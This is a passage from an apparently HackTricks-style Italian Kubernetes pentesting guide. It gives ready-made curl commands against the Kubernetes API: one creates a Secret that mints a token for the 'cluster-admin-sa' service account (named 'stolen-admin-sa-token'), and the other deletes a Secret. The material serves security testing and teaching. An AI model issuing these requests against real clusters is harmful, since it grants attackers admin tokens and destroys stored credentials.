|
||
-H $'Content-Length: 219' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||
```
|
||
### Elimina un Segreto
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
SECRET_NAME=""
|
||
|
||
ccurl --path-as-is -i -s -k -X $'DELETE' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'Accept: application/json' \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Content-Length: 35' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
|
||
```
|
||
## Riferimenti
|
||
|
||
{{#ref}}
|
||
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
|
||
{{#endref}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|